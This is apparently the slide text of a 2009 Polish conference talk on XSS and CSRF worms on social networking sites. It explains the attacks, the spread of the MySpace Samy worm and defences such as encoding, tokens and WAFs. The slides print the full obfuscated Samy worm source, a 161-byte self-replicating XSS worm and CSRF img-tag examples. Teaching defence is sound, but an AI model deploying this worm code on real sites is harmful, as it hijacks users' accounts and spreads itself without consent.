SlideShare a Scribd company logo
1 of 42
Download to read offline
“Bezpieczeństwo portali społecznościowych
        w ujęciu robaków Web 2.0”


             2009.03.13 / Pingwinaria


                                        Borys Łącki



                                                      1
2
2007:
     ilość ruchu WWW
przekroczyła ilość ruchu P2P

                           3
Internet




     Warstwa WWW

(filtry wejścia/wyjścia)

    Warstwa Aplikacji

 (logika biznesowa)

    Serwer Baz Danych


                           4
Internet




     Warstwa WWW

(filtry wejścia/wyjścia)
                                    Nowa
                                funkcjonalność
    Warstwa Aplikacji

 (logika biznesowa)

            Serwer Baz Danych


                                                 5
Internet




          Firewall Aplikacyjny

            Warstwa WWW

     (filtry wejścia/wyjścia)

  Warstwa Aplikacji
                                     Nowa
                                 funkcjonalność
(logika biznesowa)

          Serwer Baz Danych


                                                  6
Robak komputerowy – samoreplikujący się
            program komputerowy...


XSS/CSRF WORM != Blaster, Sasser, Mydoom, Slammer.




                                                 7
Same origin policy
             Protokół + host + port = OK

URL                                       Protokół Host Port ?
http://www.example.com/dir/page.html         +      +    + OK
http://www.example.com/dir2/other.html       +      +    + OK
http://www.example.com:81/dir2/other.html    +      +     -
https://www.example.com/dir2/other.html       -     +    +
http://en.example.com/dir2/other.html        +       -   +
http://example.com/dir2/other.html           +       -   +
http://v2.www.example.com/dir2/other.html    +       -   +


       http://www.example.com/dir/page.html

                                                             8
Same origin policy
              Cookies

                          Java pingwinaria
                         Script .linux.org.pl
             Pingwin=1




Użytkownik




                          Java     nasza-
                         Script    klasa.pl
             Klasa=4b

                                                9
Same origin policy
              Cookies

                          Java pingwinaria
                         Script .linux.org.pl
             Pingwin=1




Użytkownik




                          Java     nasza-
                         Script    klasa.pl
             Klasa=4b

                                                10
XSS – Cross Site Scripting - zagrożenia

    Zmiana treści
●


    Kradzież ID sesji
●


    CSRF
●


    Automatyczne robaki
●




                                          11
XSS – zmiana treści




                      12
Cookies - uwierzytelnianie
               POST /login.php HTTP/1.1
               login=user&password=asd12ed]r3

               HTTP/1.1 OK 200
               Set-cookie: user_id=734223s8uod42
               Witaj user

                                                   Użytkownik

               GET /index.php HTTP/1.1
               Cookie: user_id=734223s8uod42
      Serwer
                 Witaj user




                                                                13
Cookies - uwierzytelnianie
               POST /login.php HTTP/1.1
               login=user&password=asd12ed]r3

               HTTP/1.1 OK 200
               Set-cookie: user_id=734223s8uod42
               Witaj user

                                                   Użytkownik

               GET /index.php HTTP/1.1
               Cookie: user_id=734223s8uod42
      Serwer
                 Witaj user




               GET /index.php HTTP/1.1
               Cookie: user_id=734223s8uod42
                                                     Intruz
                 Witaj user

                                                                14
XSS – Cross Site Scripting
                                     GET /index.php?id=
        Serwer                       <script>…</script>
       Aplikacja                                         1
        WWW
                             2

                         GET /index.php?...
    <script>…</script>

                                              Użytkownik     Intruz
                    …<script>…</script>…
                                       exec(…)
                                 3
      Baza danych
                                                         4
                                          Dane
                                          dostępne
                                          w kontekście
                                          użytkownika


                                                     Reflective XSS   15
XSS – Cross Site Scripting
        Serwer                                           1
                             POST /register.php
       Aplikacja             opis=<script>…</script>
        WWW
                                    2

                         GET /index.php
    <script>…</script>

                                            Użytkownik       Intruz
                    …<script>…</script>…
                                       exec(…)
                         3
      Baza danych                                        4

                                          Dane
                                          dostępne
                                          w kontekście
                                          użytkownika


                                                     Permanent XSS    16
XSS – Cross Site Scripting - obrona

    Kontrolować dane



    Filtrować dane od oraz do użytkownika
    


   Spójność (IDS, Firewall, aplikacja)


   Dogłębność (....// → ../), UTF-7


   Białe i czarne listy


 Powiązać ID sesji z IP?


    Żądać powtórnego uwierzytelnienia





                                            17
CSRF – Cross Site Request Forgery




<img src=„http://nasza-klasa.pl/invite/1?i=1”>


                                           18
CSRF – Cross Site Request Forgery
               http://serwer/do.php?akcja=transfer&na=kontoborysa&ile=666
   Serwer
                                                          1
   Aplikacja
               2
    WWW
               GET /do.php?akcja=transfer
               &na=kontoborysa&ile=666
                                                                          Intruz
   …           Cookie: user_id=734223s8uod42
   przelew
   borys
                                               Użytkownik
   666
   …
                Transakcja wykonana

                                         3

                           <img src=„http://serwer/do.php?akcja=transfer&na=kontoborysa&ile=666”>
                                                                         http://www.davidairey.co.uk/
                                                                                               19
CSRF – Cross Site Request Forgery - obrona

    Brak błędów XSS



    Token



    Wymaganie ponownej autoryzacji przy kluczowych


    operacjach




                                                     20
XSS Worm
  Serwer WWW
                   Zapisuje XSS w swoim profilu


             XSS
  Intruz



       …
                                                  Intruz



    User_1




    User_2
                                                           21
XSS Worm
  Serwer WWW
                         Zapisuje XSS w swoim profilu

                    GET /intruz/ HTTP/1.1    User_1
             XSS
  Intruz
                   …<script>…</script>…


                                            exec(…
       …
                      Zapisuje XSS w        )           Intruz
                       swoim profilu



             XSS
  User_1




    User_2
                                                                 22
XSS Worm
  Serwer WWW
                       Zapisuje XSS w swoim profilu

                  GET /intruz/ HTTP/1.1    User_1
           XSS
  Intruz
                 …<script>…</script>…
                                            User_2
       …
                                          exec(…
                     Zapisuje XSS w
                                                      Intruz
                                          )
                      swoim profilu


                   GET /user1/ HTTP/1.1
           XSS
  User_1
                 …<script>…</script>…

                                           exec(…
                      Zapisuje XSS w
                                           )
                       swoim profilu
           XSS
  User_2
                                                               23
XSS - Statystyka
quot;XSS is the New Buffer Overflow, JavaScript Malware is
                 the New Shell Codequot;
    67 % - WhiteHat Security (2008)



    CVE - 1 miejsce (2008)



    xssed.com – 30 324 total xss (2008)



    60 % - NTA Monitor (2007)





    .pl - serwisy aukcyjne, bankowe, społecznościowe :]





                                                          24
XSS – Samy worm

    Kto:     Samy Kamkar
●


    Gdzie:   Myspace.com
●


    Kiedy:   04.10.2005
●


    Co:      quot;but most of all, Samy is my heroquot;
●




                                                  25
XSS – Samy worm
Ilość zainfekowanych
użytkowników



13 godzin = 6,373




                       Godziny od momentu infekcji   26
XSS – Samy worm
Ilość zainfekowanych
użytkowników



18 godzin
> 1 000 000 (!!!)




                       Godziny od momentu infekcji   27
Samy Worm - Czy rozmiar ma znaczenie?
<div id=mycode style=quot;style=quot;BACKGROUND: url('javascript:eval(document.all.mycode.expr)')quot; expr=quot;var B=String.fromCharCode(34);var
A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return
eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var
E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var
AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com') document.location='
http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)} function
nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1)
{Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return
false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-
urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var
S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function
getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024); var X=W.indexOf(T);var
Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else
if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var
AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE)
                                                                               but most of all, samy is my hero.
{AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF='                                                      <d'+'iv id='+AE+'D'+'IV>'}var
AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);
if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';
AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,
'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new
Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?
fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?
fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?
fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var
AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new
Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?
fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return
false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-
urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}quot;></DIV>




                                                                                                                                                                 28
Samy Worm - Rozmiar nie ma znaczenia...


    Diminutive XSS Worm Replication Contest





    161 bajtów !!!
    <form><input name=quot;contentquot;><img src=quot;quot; onerror=
     quot;with(parentNode)alert('XSS',submit(content.value='<form>'
     +innerHTML.slice(action=(method='post')+'.php',155)))quot;>




                                                                  29
Worm, worm, yes ya gonna worm

Libero.it, Tiscali.it, Lycos.it, Excite.com - Nduja
Yahoo - Yamanner
Orkut (x2) - xmen
hi5.com
badoo.com
myspace.com (02.02.2009)
                                       Gaiaonline.com (1500 osób / 3 h)
                                             justin.tv (2525 osób / 24 h)
                                                       MyYearbook.com
                                                        U-dominion.com
                                                                   30
                                                            xiaonei.com
Nasza-Klasa.pl

    Znajomi:              291





    Aktywni znajomi:      238





    Średnia: 254 * 5 / 60 = 21 godzin



    Rekordzista: 1891 * 5 / 60 = 157 godzin


                                              31
Nasza-Klasa.pl


                 2008.09
                 Ilość
                 aktywnych
                 znajomych



                           32
wykop.pl - CSRF




                  33
wykop.pl - CSRF




                  34
wykop.pl - CSRF




                  35
wykop.pl - CSRF
 Ilość wykopów




                  Godzina

                     36
Zagrożenia

    Manipulacja i dostęp do danych




    SPAM




    Ad. Fraud




    DDoS




    0 day bug po stronie klienta




    Zabawa




    ?





                                     37
Jak się zabezpieczyć

    Kontrola wejściowych i wyjściowych danych



    Hardening konfiguracji serwera WWW



    Web Application Firewall (mod_security? :)



    Nie ufać filtrom po stronie użytkownika



    Bilansować koszty z zyskami




    Bezpieczna przeglądarka





                          Korzystać z pomocy specjalistów ;]
                      

                                                         38
Jak się zabezpieczyć

    $cena = (int) $cena;



    htmlspecialchars, mysql_real_escape_string,


    addslashes, magic_quotes(!), filter_var_array
    Anti-XSS Library, JavaScriptEncode, HtmlEncode,


    UrlEncode, HtmlAttributeEncode
    Cookie: secure, httponly, domain, path



    PHPIDS, csrf-magic, HTML Purifier, AntiSamy,


    CSRFGuard

                                                      39
Linki
    http://bothunters.pl





    http://namb.la/popular/





    http://en.wikipedia.org/wiki/Samy_worm





    http://blogs.zdnet.com/security/?p=1487





    http://www.heise-online.pl/security/Luka-na-stronie-banku-umozliwia-nieautoryzowane-przelewy--/news/5927





    http://www.slideshare.net/jeremiahgrossman/website-security-statistics-august-2008-presentation?type=powerpoint





    http://pl.wikipedia.org/wiki/Robak_komputerowy





    http://sla.ckers.org/forum/read.php?2,18790,18790





                                                                                                                      40
Linki
    http://www.owasp.org/index.php/CSRF_Guard





    http://www.owasp.org/index.php/Category:OWASP_AntiSamy_Project





    http://csrf.htmlpurifier.org/





    http://htmlpurifier.org/





    http://www.xssed.com





    http://sla.ckers.org/forum/read.php?2,14477





    http://web.nvd.nist.gov/view/vuln/search?execution=e1s1





                                                                     41
Pytania


          Dziękuję za uwagę




                          b.lacki@logicaltrust.net

                                                 42

More Related Content

What's hot

Co z bezpieczeństwem aplikacji mobilnych? - studium przypadków (KrakWhiteHat ...
Co z bezpieczeństwem aplikacji mobilnych? - studium przypadków (KrakWhiteHat ...Co z bezpieczeństwem aplikacji mobilnych? - studium przypadków (KrakWhiteHat ...
Co z bezpieczeństwem aplikacji mobilnych? - studium przypadków (KrakWhiteHat ...Logicaltrust pl
 
Modsecurity-czy-Twoj-WAF-to-potrafi-Leszek-Mis-Linux-Polska
Modsecurity-czy-Twoj-WAF-to-potrafi-Leszek-Mis-Linux-PolskaModsecurity-czy-Twoj-WAF-to-potrafi-Leszek-Mis-Linux-Polska
Modsecurity-czy-Twoj-WAF-to-potrafi-Leszek-Mis-Linux-PolskaLeszek Mi?
 
4Developers 2015: Frameworki jee vs cross-site scripting (xss) - Piotr Bucki
4Developers 2015: Frameworki jee vs cross-site scripting (xss) - Piotr Bucki4Developers 2015: Frameworki jee vs cross-site scripting (xss) - Piotr Bucki
4Developers 2015: Frameworki jee vs cross-site scripting (xss) - Piotr BuckiPROIDEA
 
Zabezpiecz swoją stronę w Joomla!
Zabezpiecz swoją stronę w Joomla!Zabezpiecz swoją stronę w Joomla!
Zabezpiecz swoją stronę w Joomla!Wojciech Klocek
 
Błędy userów, niedoróbki koderów
Błędy userów, niedoróbki koderówBłędy userów, niedoróbki koderów
Błędy userów, niedoróbki koderówArkadiusz Stęplowski
 
WebView security on iOS (PL)
WebView security on iOS (PL)WebView security on iOS (PL)
WebView security on iOS (PL)lpilorz
 

What's hot (8)

Potęga pliku .htaccess
Potęga pliku .htaccessPotęga pliku .htaccess
Potęga pliku .htaccess
 
Co z bezpieczeństwem aplikacji mobilnych? - studium przypadków (KrakWhiteHat ...
Co z bezpieczeństwem aplikacji mobilnych? - studium przypadków (KrakWhiteHat ...Co z bezpieczeństwem aplikacji mobilnych? - studium przypadków (KrakWhiteHat ...
Co z bezpieczeństwem aplikacji mobilnych? - studium przypadków (KrakWhiteHat ...
 
Modsecurity-czy-Twoj-WAF-to-potrafi-Leszek-Mis-Linux-Polska
Modsecurity-czy-Twoj-WAF-to-potrafi-Leszek-Mis-Linux-PolskaModsecurity-czy-Twoj-WAF-to-potrafi-Leszek-Mis-Linux-Polska
Modsecurity-czy-Twoj-WAF-to-potrafi-Leszek-Mis-Linux-Polska
 
4Developers 2015: Frameworki jee vs cross-site scripting (xss) - Piotr Bucki
4Developers 2015: Frameworki jee vs cross-site scripting (xss) - Piotr Bucki4Developers 2015: Frameworki jee vs cross-site scripting (xss) - Piotr Bucki
4Developers 2015: Frameworki jee vs cross-site scripting (xss) - Piotr Bucki
 
Zabezpiecz swoją stronę w Joomla!
Zabezpiecz swoją stronę w Joomla!Zabezpiecz swoją stronę w Joomla!
Zabezpiecz swoją stronę w Joomla!
 
Błędy userów, niedoróbki koderów
Błędy userów, niedoróbki koderówBłędy userów, niedoróbki koderów
Błędy userów, niedoróbki koderów
 
WebView security on iOS (PL)
WebView security on iOS (PL)WebView security on iOS (PL)
WebView security on iOS (PL)
 
Calkiem przyzwoity backup
Calkiem przyzwoity backupCalkiem przyzwoity backup
Calkiem przyzwoity backup
 

Similar to Bezpieczenstwo Portali Spolecznosciowych W Ujeciu Robakow Web 20 Pingwinaria2009

Drobne błędy w portalach WWW -- prawdziwe studium przypadku
Drobne błędy w portalach WWW -- prawdziwe studium przypadkuDrobne błędy w portalach WWW -- prawdziwe studium przypadku
Drobne błędy w portalach WWW -- prawdziwe studium przypadkumsobiegraj
 
NGSec 2016 - Ile warstw, tyle szans. - Leszek Miś@Defensive-Security.com
NGSec 2016 - Ile warstw, tyle szans. - Leszek Miś@Defensive-Security.comNGSec 2016 - Ile warstw, tyle szans. - Leszek Miś@Defensive-Security.com
NGSec 2016 - Ile warstw, tyle szans. - Leszek Miś@Defensive-Security.comLeszek Mi?
 
PLNOG22 - Piotr Stolarek - Bezpieczeństwo użytkowania platform usługowych Tel...
PLNOG22 - Piotr Stolarek - Bezpieczeństwo użytkowania platform usługowych Tel...PLNOG22 - Piotr Stolarek - Bezpieczeństwo użytkowania platform usługowych Tel...
PLNOG22 - Piotr Stolarek - Bezpieczeństwo użytkowania platform usługowych Tel...PROIDEA
 
Apache http server - proste i zaawansowane przypadki użycia
Apache http server - proste i zaawansowane przypadki użyciaApache http server - proste i zaawansowane przypadki użycia
Apache http server - proste i zaawansowane przypadki użyciaWojciech Lichota
 
Owasp Top10 2010 RC1 PL
Owasp Top10 2010 RC1 PLOwasp Top10 2010 RC1 PL
Owasp Top10 2010 RC1 PLThink Secure
 
Security B-Sides Warsaw 2014 - Network Security Treasures - Gawel Mikolajczyk
Security B-Sides Warsaw 2014 - Network Security Treasures - Gawel MikolajczykSecurity B-Sides Warsaw 2014 - Network Security Treasures - Gawel Mikolajczyk
Security B-Sides Warsaw 2014 - Network Security Treasures - Gawel MikolajczykGawel Mikolajczyk
 
10 przykazań bezpiecznego programowania
10 przykazań bezpiecznego programowania10 przykazań bezpiecznego programowania
10 przykazań bezpiecznego programowaniaSecuRing
 
4Developers 2015: 10 przykazań bezpiecznego kodowania - Wojciech Dworakowski
4Developers 2015: 10 przykazań bezpiecznego kodowania - Wojciech Dworakowski4Developers 2015: 10 przykazań bezpiecznego kodowania - Wojciech Dworakowski
4Developers 2015: 10 przykazań bezpiecznego kodowania - Wojciech DworakowskiPROIDEA
 
PHP5. Bezpieczne programowanie. Leksykon kieszonkowy
PHP5. Bezpieczne programowanie. Leksykon kieszonkowyPHP5. Bezpieczne programowanie. Leksykon kieszonkowy
PHP5. Bezpieczne programowanie. Leksykon kieszonkowyWydawnictwo Helion
 
Word up warszawa 2015
Word up warszawa 2015Word up warszawa 2015
Word up warszawa 2015Tomasz Dziuda
 
Drobne błędy w portalach WWW -- prawdziwe studium przypadku
Drobne błędy w portalach WWW -- prawdziwe studium przypadkuDrobne błędy w portalach WWW -- prawdziwe studium przypadku
Drobne błędy w portalach WWW -- prawdziwe studium przypadkuLogicaltrust pl
 
Drobne błędy w portalach WWW -- prawdziwe studium przypadku
Drobne błędy w portalach WWW -- prawdziwe studium przypadkuDrobne błędy w portalach WWW -- prawdziwe studium przypadku
Drobne błędy w portalach WWW -- prawdziwe studium przypadkuLogicaltrust pl
 
integracja danych przesyłanych za pomocą Web-Socketów na przykladie bibliote...
integracja danych przesyłanych za pomocą Web-Socketów na przykladie bibliote...integracja danych przesyłanych za pomocą Web-Socketów na przykladie bibliote...
integracja danych przesyłanych za pomocą Web-Socketów na przykladie bibliote...Nazar Patrylo
 
Laravelowe paczki do uwierzytelniania
Laravelowe paczki do uwierzytelnianiaLaravelowe paczki do uwierzytelniania
Laravelowe paczki do uwierzytelnianiaLaravel Poland MeetUp
 
Security B-Sides Warsaw 2013 - Masywna Telemetria NetFlow jest Masywna - Gawe...
Security B-Sides Warsaw 2013 - Masywna Telemetria NetFlow jest Masywna - Gawe...Security B-Sides Warsaw 2013 - Masywna Telemetria NetFlow jest Masywna - Gawe...
Security B-Sides Warsaw 2013 - Masywna Telemetria NetFlow jest Masywna - Gawe...Gawel Mikolajczyk
 
Atmosphere 2014: Scalable and under control - open cloud architecture conside...
Atmosphere 2014: Scalable and under control - open cloud architecture conside...Atmosphere 2014: Scalable and under control - open cloud architecture conside...
Atmosphere 2014: Scalable and under control - open cloud architecture conside...PROIDEA
 
Lionframe - Rapid RESTful API development
Lionframe - Rapid RESTful API developmentLionframe - Rapid RESTful API development
Lionframe - Rapid RESTful API developmentMichał Marcinkowski
 

Similar to Bezpieczenstwo Portali Spolecznosciowych W Ujeciu Robakow Web 20 Pingwinaria2009 (20)

Drobne błędy w portalach WWW -- prawdziwe studium przypadku
Drobne błędy w portalach WWW -- prawdziwe studium przypadkuDrobne błędy w portalach WWW -- prawdziwe studium przypadku
Drobne błędy w portalach WWW -- prawdziwe studium przypadku
 
TGT#20 - Ataki XSS - Robert Charewicz
TGT#20 - Ataki XSS - Robert CharewiczTGT#20 - Ataki XSS - Robert Charewicz
TGT#20 - Ataki XSS - Robert Charewicz
 
NGSec 2016 - Ile warstw, tyle szans. - Leszek Miś@Defensive-Security.com
NGSec 2016 - Ile warstw, tyle szans. - Leszek Miś@Defensive-Security.comNGSec 2016 - Ile warstw, tyle szans. - Leszek Miś@Defensive-Security.com
NGSec 2016 - Ile warstw, tyle szans. - Leszek Miś@Defensive-Security.com
 
PLNOG22 - Piotr Stolarek - Bezpieczeństwo użytkowania platform usługowych Tel...
PLNOG22 - Piotr Stolarek - Bezpieczeństwo użytkowania platform usługowych Tel...PLNOG22 - Piotr Stolarek - Bezpieczeństwo użytkowania platform usługowych Tel...
PLNOG22 - Piotr Stolarek - Bezpieczeństwo użytkowania platform usługowych Tel...
 
Jaki hosting pod wordpressa
Jaki hosting pod wordpressaJaki hosting pod wordpressa
Jaki hosting pod wordpressa
 
Apache http server - proste i zaawansowane przypadki użycia
Apache http server - proste i zaawansowane przypadki użyciaApache http server - proste i zaawansowane przypadki użycia
Apache http server - proste i zaawansowane przypadki użycia
 
Owasp Top10 2010 RC1 PL
Owasp Top10 2010 RC1 PLOwasp Top10 2010 RC1 PL
Owasp Top10 2010 RC1 PL
 
Security B-Sides Warsaw 2014 - Network Security Treasures - Gawel Mikolajczyk
Security B-Sides Warsaw 2014 - Network Security Treasures - Gawel MikolajczykSecurity B-Sides Warsaw 2014 - Network Security Treasures - Gawel Mikolajczyk
Security B-Sides Warsaw 2014 - Network Security Treasures - Gawel Mikolajczyk
 
Android i REST
Android i RESTAndroid i REST
Android i REST
 
10 przykazań bezpiecznego programowania
10 przykazań bezpiecznego programowania10 przykazań bezpiecznego programowania
10 przykazań bezpiecznego programowania
 
4Developers 2015: 10 przykazań bezpiecznego kodowania - Wojciech Dworakowski
4Developers 2015: 10 przykazań bezpiecznego kodowania - Wojciech Dworakowski4Developers 2015: 10 przykazań bezpiecznego kodowania - Wojciech Dworakowski
4Developers 2015: 10 przykazań bezpiecznego kodowania - Wojciech Dworakowski
 
PHP5. Bezpieczne programowanie. Leksykon kieszonkowy
PHP5. Bezpieczne programowanie. Leksykon kieszonkowyPHP5. Bezpieczne programowanie. Leksykon kieszonkowy
PHP5. Bezpieczne programowanie. Leksykon kieszonkowy
 
Word up warszawa 2015
Word up warszawa 2015Word up warszawa 2015
Word up warszawa 2015
 
Drobne błędy w portalach WWW -- prawdziwe studium przypadku
Drobne błędy w portalach WWW -- prawdziwe studium przypadkuDrobne błędy w portalach WWW -- prawdziwe studium przypadku
Drobne błędy w portalach WWW -- prawdziwe studium przypadku
 
Drobne błędy w portalach WWW -- prawdziwe studium przypadku
Drobne błędy w portalach WWW -- prawdziwe studium przypadkuDrobne błędy w portalach WWW -- prawdziwe studium przypadku
Drobne błędy w portalach WWW -- prawdziwe studium przypadku
 
integracja danych przesyłanych za pomocą Web-Socketów na przykladie bibliote...
integracja danych przesyłanych za pomocą Web-Socketów na przykladie bibliote...integracja danych przesyłanych za pomocą Web-Socketów na przykladie bibliote...
integracja danych przesyłanych za pomocą Web-Socketów na przykladie bibliote...
 
Laravelowe paczki do uwierzytelniania
Laravelowe paczki do uwierzytelnianiaLaravelowe paczki do uwierzytelniania
Laravelowe paczki do uwierzytelniania
 
Security B-Sides Warsaw 2013 - Masywna Telemetria NetFlow jest Masywna - Gawe...
Security B-Sides Warsaw 2013 - Masywna Telemetria NetFlow jest Masywna - Gawe...Security B-Sides Warsaw 2013 - Masywna Telemetria NetFlow jest Masywna - Gawe...
Security B-Sides Warsaw 2013 - Masywna Telemetria NetFlow jest Masywna - Gawe...
 
Atmosphere 2014: Scalable and under control - open cloud architecture conside...
Atmosphere 2014: Scalable and under control - open cloud architecture conside...Atmosphere 2014: Scalable and under control - open cloud architecture conside...
Atmosphere 2014: Scalable and under control - open cloud architecture conside...
 
Lionframe - Rapid RESTful API development
Lionframe - Rapid RESTful API developmentLionframe - Rapid RESTful API development
Lionframe - Rapid RESTful API development
 

More from Logicaltrust pl

Jak cyberprzęstepcy okradają dziś firmy - webinar 2020.06.24
Jak cyberprzęstepcy okradają dziś firmy - webinar 2020.06.24Jak cyberprzęstepcy okradają dziś firmy - webinar 2020.06.24
Jak cyberprzęstepcy okradają dziś firmy - webinar 2020.06.24Logicaltrust pl
 
Security Awareness po polsku - webinar 2019.11.29
Security Awareness po polsku - webinar 2019.11.29Security Awareness po polsku - webinar 2019.11.29
Security Awareness po polsku - webinar 2019.11.29Logicaltrust pl
 
8 zasad skutecznego security awareness
8 zasad skutecznego security awareness8 zasad skutecznego security awareness
8 zasad skutecznego security awarenessLogicaltrust pl
 
Ataki socjotechniczne w praktyce - SecurityBSides Warsaw 2019
Ataki socjotechniczne w praktyce - SecurityBSides Warsaw 2019Ataki socjotechniczne w praktyce - SecurityBSides Warsaw 2019
Ataki socjotechniczne w praktyce - SecurityBSides Warsaw 2019Logicaltrust pl
 
Ataki socjotechniczne w praktyce - Confidence 2019
Ataki socjotechniczne w praktyce - Confidence 2019Ataki socjotechniczne w praktyce - Confidence 2019
Ataki socjotechniczne w praktyce - Confidence 2019Logicaltrust pl
 
Minerva_lib - fuzzing tool
Minerva_lib - fuzzing toolMinerva_lib - fuzzing tool
Minerva_lib - fuzzing toolLogicaltrust pl
 
"Spear phishing - jak się bronić? Case studies." - SecurityBSides 2018
"Spear phishing - jak się bronić? Case studies." - SecurityBSides 2018"Spear phishing - jak się bronić? Case studies." - SecurityBSides 2018
"Spear phishing - jak się bronić? Case studies." - SecurityBSides 2018Logicaltrust pl
 
Spear phishing - jak się bronić? Case studies - Confidence 2018
Spear phishing - jak się bronić? Case studies - Confidence 2018Spear phishing - jak się bronić? Case studies - Confidence 2018
Spear phishing - jak się bronić? Case studies - Confidence 2018Logicaltrust pl
 
Redteaming in Poland - test cases (Security)
Redteaming in Poland - test cases (Security)Redteaming in Poland - test cases (Security)
Redteaming in Poland - test cases (Security)Logicaltrust pl
 
Redteaming w Polsce - przykłady
Redteaming w Polsce - przykładyRedteaming w Polsce - przykłady
Redteaming w Polsce - przykładyLogicaltrust pl
 
Testy bezpieczeństwa - niesztampowe przypadki
Testy bezpieczeństwa - niesztampowe przypadkiTesty bezpieczeństwa - niesztampowe przypadki
Testy bezpieczeństwa - niesztampowe przypadkiLogicaltrust pl
 
Urządzenia i usługi bezpieczeństwa IT - pełna ochrona czy... zaproszenie dla ...
Urządzenia i usługi bezpieczeństwa IT - pełna ochrona czy... zaproszenie dla ...Urządzenia i usługi bezpieczeństwa IT - pełna ochrona czy... zaproszenie dla ...
Urządzenia i usługi bezpieczeństwa IT - pełna ochrona czy... zaproszenie dla ...Logicaltrust pl
 
Czy systematyczne podejście do testów bezpieczeństwa się opłaca?
Czy systematyczne podejście do testów bezpieczeństwa się opłaca?Czy systematyczne podejście do testów bezpieczeństwa się opłaca?
Czy systematyczne podejście do testów bezpieczeństwa się opłaca?Logicaltrust pl
 
Torturing the PHP interpreter
Torturing the PHP interpreterTorturing the PHP interpreter
Torturing the PHP interpreterLogicaltrust pl
 
Socjotechnika w Internecie - metody ataku i obrony
Socjotechnika w Internecie - metody ataku i obronySocjotechnika w Internecie - metody ataku i obrony
Socjotechnika w Internecie - metody ataku i obronyLogicaltrust pl
 
OWASP Mobile TOP 10 na przykładzie aplikacji bankowych - Semafor 2016 - Mateu...
OWASP Mobile TOP 10 na przykładzie aplikacji bankowych - Semafor 2016 - Mateu...OWASP Mobile TOP 10 na przykładzie aplikacji bankowych - Semafor 2016 - Mateu...
OWASP Mobile TOP 10 na przykładzie aplikacji bankowych - Semafor 2016 - Mateu...Logicaltrust pl
 
Bezpieczeństwo informacji - edukacja pracowników - dlaczego robimy to źle? Se...
Bezpieczeństwo informacji - edukacja pracowników - dlaczego robimy to źle? Se...Bezpieczeństwo informacji - edukacja pracowników - dlaczego robimy to źle? Se...
Bezpieczeństwo informacji - edukacja pracowników - dlaczego robimy to źle? Se...Logicaltrust pl
 

More from Logicaltrust pl (20)

Jak cyberprzęstepcy okradają dziś firmy - webinar 2020.06.24
Jak cyberprzęstepcy okradają dziś firmy - webinar 2020.06.24Jak cyberprzęstepcy okradają dziś firmy - webinar 2020.06.24
Jak cyberprzęstepcy okradają dziś firmy - webinar 2020.06.24
 
Security Awareness po polsku - webinar 2019.11.29
Security Awareness po polsku - webinar 2019.11.29Security Awareness po polsku - webinar 2019.11.29
Security Awareness po polsku - webinar 2019.11.29
 
8 zasad skutecznego security awareness
8 zasad skutecznego security awareness8 zasad skutecznego security awareness
8 zasad skutecznego security awareness
 
